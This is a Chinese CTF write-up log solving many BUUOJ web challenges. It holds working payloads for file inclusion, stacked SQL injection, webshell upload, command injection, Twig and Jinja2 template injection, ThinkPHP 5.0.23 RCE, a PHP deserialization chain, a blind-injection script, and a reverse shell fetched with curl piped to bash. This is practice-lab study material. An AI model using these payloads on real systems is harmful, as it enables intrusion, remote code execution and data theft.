记录buuoj写过的题
F12看到存在source.php,跳转后看到代码
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
可以看到考点为文件包含,传入的file参数先会检查是否在白名单中,第二个是检查传入的字符串中‘?’前的字符串是否在白名单中,第三个是先进行url解码再截取,其实可以直接第二个就构造payload得到flag
Payload:
http://f5c2ee8f-ee5f-4469-bad8-86c15a958352.node3.buuoj.cn/source.php?file=hint.php?/…/…/…/…/…/ffffllllaaaagggg
截取通过后,include会将hint.php?/ 作为目录,然后不断前转目录,到根目录包含ffffllllaaaagggg
也有的情况?后会被解析为get提交的参数,此时可将’?’进行二次url编码。
(sqlmap仅能跑出库名,表名为空)
先使用 1’ or 1=1–+ 发现存在注入
加’后报错,然后order by猜出字段为2,union select 1,2 后返回:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
发现过滤了常用词。
使用堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1’;show tables;–+ //查看表名
?inject=1’;show columns from `1919810931114514`;–+
?inject=1’;show columns from `words`;–+
(要在表名加``否则无回显)
MySQL中反引号和单引号的区别与用法:
MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
引号用来标注语句中所引用的字符型常量或时间型常量,即字段值
例如:select * from `username` where `name`=“name”
可以看到flag在1919810931114514中
方法一
因为语句被过滤严重,但并为过滤改名语句,所以思路是借助本身查询语句,也就是将1919810931114514改名为words,将flag改为id
/?inject=1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flagid` VARCHAR(100);–+
(搜寻中看到有可能修改失败,所以有另一语句:/?inject=1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;–+
)
改完后输入:1’ or 1=1 --+即可查到flag
堆叠注入:https://www.cnblogs.com/0nth3way/articles/7128189.html
方法二
用handler语句代替select,具体见本篇[GYCTF2020]Blacklist
http://ecaf9ef5-ff55-4a72-b878-6fe965d670f6.node3.buuoj.cn/?inject=1';handler `1919810931114514` open; handler `1919810931114514` read first; --+
三种查询结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N3dO3bG8-1628491027055)(\Buuoj刷题记录.assets\clip_image008.jpg)]
可堆叠注入:1;show databases; show tables;
网上搜到原题泄露了查询语句:select $_POST[query] || flag from flag
两种方法:
*,1
1;set sql_mode=PIPES_AS_CONCAT;select 1
解析:
参考:https://blog.csdn.net/qq_42158602/article/details/103930598
由注释可知为MD5哈希长度拓展攻击
但是响应包已经返回hash,直接get提交参数path=fa25e54758d5d5c1927781a6ede89f8a,提交后重定向404
点击堆栈追踪可看到代码
view-source:http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
读取文件
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
过滤了ls,data,input,没办法命令执行获取当前文件夹下的内容
http://f86e6a77-36b2-45db-ac74-9ba92c007216.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
基本的文件包含
用bp绕过前端验证,上传一句话,发现php已进黑名单
返回版本为5.6,改后缀为phtml绕过黑名单验证,成功上传,连接后在根目录发现flag
命令执行中的
|
127.0.0.1 | ls …/…/…/
127.0.0.1 | cat …/…/…/flag
响应头提示select * from 'admin' where password=md5($pass,true)
md5注入
如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回
输入ffifdyop
即可
进入下一页面,查看注释
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
数组绕过http://2cef2e26-08ad-44ad-938c-10498dad8ab0.node3.buuoj.cn/levels91.php?a[]=1&b[]=2
下一页面
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
post数组绕过param1[]=1¶m2[]=2
显示网站界面,使用dirmap扫描到目录http://02b87379-34da-48ba-8bf7-e98327689a95.node3.buuoj.cn/.git/config
有git泄露,使用githack得到源码(githack使用的是python2,而且有时候恢复地不全,需要多恢复几次)
githack使用的是py2,推荐共存2和3的文章
flag.php
$flag = file_get_contents('/flag');
index.php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
考察变量覆盖http://2778652f-ca93-4bd4-a661-53f90a9abd3d.node3.buuoj.cn/?yds=flag
第二个foreach将 y d s 赋 值 为 yds赋值为 yds赋值为flag,然后不设置post和get中的flag参数,就直接退出并返回$yds,也就是赋值的flag
查看hint
获取ip的方式,网上有很多php获取ip的代码,大同小异,很多都获取了xxf和XFF或Client-IP这两个header作为ip,这两个都可以通过header伪造
发现ssti
获得flag
hint
Why not take a closer look at cookies?
发现ssti
学习链接
经测试为twig模板
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
获得flag
访问index.php.swp获取源码
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'
.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
?>
要满足密码md5加密后的前;六位等于6d0bc1
import hashlib
i=0
while True:
md5 = hashlib.md5(str(i).encode()).hexdigest()
md5=md5[0:6]
if md5=="6d0bc1":
print(i)
break
i=i+1
跑出密码2020666
登录
ssi注入
将用户名改为
得到代码
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
使用data协议,filter协议
http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/?text=data://,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace代码执行
http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/next.php?\S*=${eval($_POST[1])}
根目录找到flag
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
第一部分:
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
过滤了很多关键字,但是确是通过$_SERVER
获取,$_SERVER['QUERY_STRING']
,不会对内容url解码,但GET会,所以对字符url编码绕过,hackbar的url编码只会对特殊字符编码,找到这个网站,可以对所有字母复杂编码:
第二部分:
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
使用换行符%0a绕过,aqua_is_cute%0a
第三部分:
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST
可获取GET和POST方式的传参,如果两种方式同时传同一个参,则会有优先级,默认为POST的优先级大于GET,所以可以同时post同名参数绕过此限制。
POST:debu=1&file=1
第四部分:
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
使用data协议file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
第五部分
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1无法处理数组,处理时返回false,所以用数组绕过
shana[]=1&passwd[]=2
前几部分总payload:
payload:http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
POST:debu=1&file=1
第五部分:
payload:http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
第一个用数组或0e绕过,第二部分用php特性绕过var_dump(123==‘123a’); bool(true)
payload
http://af591e00-6e3b-4808-beba-d688fba5fb3d.node3.buuoj.cn/?id[]=1&gg[]=2
POST:passwd=1234567a
上传1.jpg
开始以为是nginx,上传.user.ini
,后面发现是apache,故上传2.jpg
burp改为.hatcess
,成功拿到shell,菜刀链接,在根目录发现flag
upload.php源码
session_start();
echo "
";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
利用Modifier中的include包含flag.php,需要控制$var的值和调用__invoke
,而当对象当作函数使用时会调用__invoke
,可以看到class Test中__get
的方法可使成员作为函数使用,当访问不存在的成员变量时会调用__get
,class Show中的__toString
,会访问str中的source,所以使str为Test对象,这个对象中没有source,就会调用__get
,当把对象当作字符串时会调用__toString
,所以使source为show对象,当执行__wakeup
即可调用__toString
,pop链构造完毕。
Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()
exp:
?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
使用php解析字符串的特性绕过 利用PHP的字符串解析特性Bypass
payload
b%20u%20p%20t=23333%0A
b%20u%20p%20t经过处理后存入数组的值为b_u_p_t,%0A为换行符。
访问secrettw.php,发现jsfuck。
控制台运行
post后获得源码
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."
";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
使用Client-IP伪造ip,使用data协议控制输入流,控制file_get_contents的值
伪造ip:X-Client-IP: X-Remote-IP: X-Remote-Addr: X-Originating-IP: X-Forwarded-For: client-ip:
http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy day&file=flag.php
编写加密函数
function rechange($v="flag.php"){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$v = base64_encode($re);
return $v;
}
http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=
CVE-2020-7066
get_headers():可以通过服务器的响应头来判断远程文件是否存在
get_headers()会截断URL中空字符后的内容,也就是会截断%00后的字符
http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.1%00www.ctfhub.com
改为http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
base64编码后可rce
phpinfo(); --> cGhwaW5mbygpOw==
http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==
查找disable_functions
eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==
http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
蚂剑连接,发现打不开根目录下的flag,但是有readflag文件
看wp发现环境为php7.3,可用用bypass PHP7.0-7.3 disable_function的PoC
改下命令
上传至temp目录(有上传权限),然后包含它。
payload
http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
POST:1=include('/tmp/exp.php');
jinja2 ssti
payload
http://a59cb797-5668-400c-a511-a4f94c890709.node3.buuoj.cn/qaq?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20../../../../flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}
thinkphp5.0.23命令执行
payload
http://52bd483e-0bea-4679-b32b-1afd54ad8f9a.node3.buuoj.cn/
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat ../../../../flag
扫描目录,发现.DS_Store
.DS_Store 文件利用 .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
下载后在Linux中cat DS_Store
输入L0gln.php,跳转至index.php,做了登录检测
随便输入用户名密码即可登录
输入L0gln.php,把time值改大
接下来也是一些header的限制,直接放出最终的包,可参考后面的header详解
Header:请求头参数详解
Header | 解释 | 示例 |
---|---|---|
Accept | 指定客户端能够接收的内容类型 | Accept: text/plain, text/html,application/json |
Accept-Charset | 浏览器可以接受的字符编码集。 | Accept-Charset: iso-8859-5 |
Accept-Encoding | 指定浏览器可以支持的web服务器返回内容压缩编码类型。 | Accept-Encoding: compress, gzip |
Accept-Language | 浏览器可接受的语言 | Accept-Language: en,zh |
Accept-Ranges | 可以请求网页实体的一个或者多个子范围字段 | Accept-Ranges: bytes |
Authorization | HTTP授权的授权证书 | Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Cache-Control | 指定请求和响应遵循的缓存机制 | Cache-Control: no-cache |
Connection | 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) | Connection: close |
Cookie | HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 | Cookie: $Version=1; Skin=new; |
Content-Length | 请求的内容长度 | Content-Length: 348 |
Content-Type | 请求的与实体对应的MIME信息 | Content-Type: application/x-www-form-urlencoded |
Date | 请求发送的日期和时间 | Date: Tue, 15 Nov 2010 08:12:31 GMT |
Expect | 请求的特定的服务器行为 | Expect: 100-continue |
From | 发出请求的用户的Email | From: [email protected] |
Host | 指定请求的服务器的域名和端口号 | Host: www.zcmhi.com |
If-Match | 只有请求内容与实体相匹配才有效 | If-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Modified-Since | 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 | If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
If-None-Match | 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 | If-None-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Range | 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag | If-Range: “737060cd8c284d8af7ad3082f209582d” |
If-Unmodified-Since | 只在实体在指定时间之后未被修改才请求成功 | If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
Max-Forwards | 限制信息通过代理和网关传送的时间 | Max-Forwards: 10 |
Pragma | 用来包含实现特定的指令 | Pragma: no-cache |
Proxy-Authorization | 连接到代理的授权证书 | Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Range | 只请求实体的一部分,指定范围 | Range: bytes=500-999 |
Referer | 先前网页的地址,当前请求网页紧随其后,即来路 | Referer: http://www.zcmhi.com/archives… |
TE | 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 | TE: trailers,deflate;q=0.5 |
Upgrade | 向服务器指定某种传输协议以便服务器进行转换(如果支持) | Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11 |
User-Agent | User-Agent的内容包含发出请求的用户信息 | User-Agent: Mozilla/5.0 (Linux; X11) |
Via | 通知中间网关或代理服务器地址,通信协议 | Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1) |
Warning | 关于消息实体的警告信息 | Warn: 199 Miscellaneous warning |
发现hint.txt
username='a\' and password='or 2>1#'
使用脚本盲注
import requests
url = "http://09a83584-46f6-4e80-ab85-83d5a1c8f99d.node3.buuoj.cn/"
data = {"username": "admin\\", "password": ""}
flag = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = f"or/**/if(ascii(substr(password,{i},1))>{mid},1,0)#"
data['password'] = payload
r = requests.post(url, data=data)
if "stronger" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
flag += chr(head)
else:
break
print(flag)
登录获取flag
.git泄露,得到index.php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
反序列化,但是没有可用的类,于是利用php内置类来反序列化
学习文章
由于有个echo,所以可利用to_string(),反序列化,如Error
(适用于php7版本),Exception
(适用于php5、7版本)等,并且php版本为5,所以用Error
payload
$a = new Exception("");
#$a= new Exception("");
echo urlencode(serialize($a));
?>
直接在返回包中发现flag
b059cc88-89f4-48da-8849-893289ce611c.node3.buuoj.cn/.index.php.swp
发现swp泄露
vim -r index.php.swp
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."
";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo " ";
} else {
//duangShell~~~~
exec($girl);
}
}
过滤了$,不能使用
a=ca;b=t;c=flag;$ab $c
过滤了base64,不能使用
echo “Y2F0IGZsYWc=” | base64 -d
看了下别人的wp,发现是要反弹shell
学习链接
1
2
在注册一个小号,开buu的一个内网靶机,靶机的80端口是打开的,所以可以使受攻击网站服务器访问攻击机web文件
在/var/www/html
,创建1.txt写入bash
-i >& ``/dev/tcp/``[ip]/[port] 0>&1
,ip为自己的ip,端口任意
然后执行nc
-lvvp [port]
,监听端口
在目标网站POSTgirl_friend=curl http://[ip]/[文件名]|bash
,获得shell
执行find / -name *flag*
cat flag即可
发现hint
跳转到http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=system
使用伪协议
http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("ç¦æ¢å¥—娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "
";
require $file;
}
} else {
echo "";
}
system.php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid
~$ ';
$str3 = ' Error: damn hacker!
~$ ';
$str4 = ' Error: request method error
~$ ';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>
</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">ä½ çŸ¥é“目录下都有什么文件å—?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">æ交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore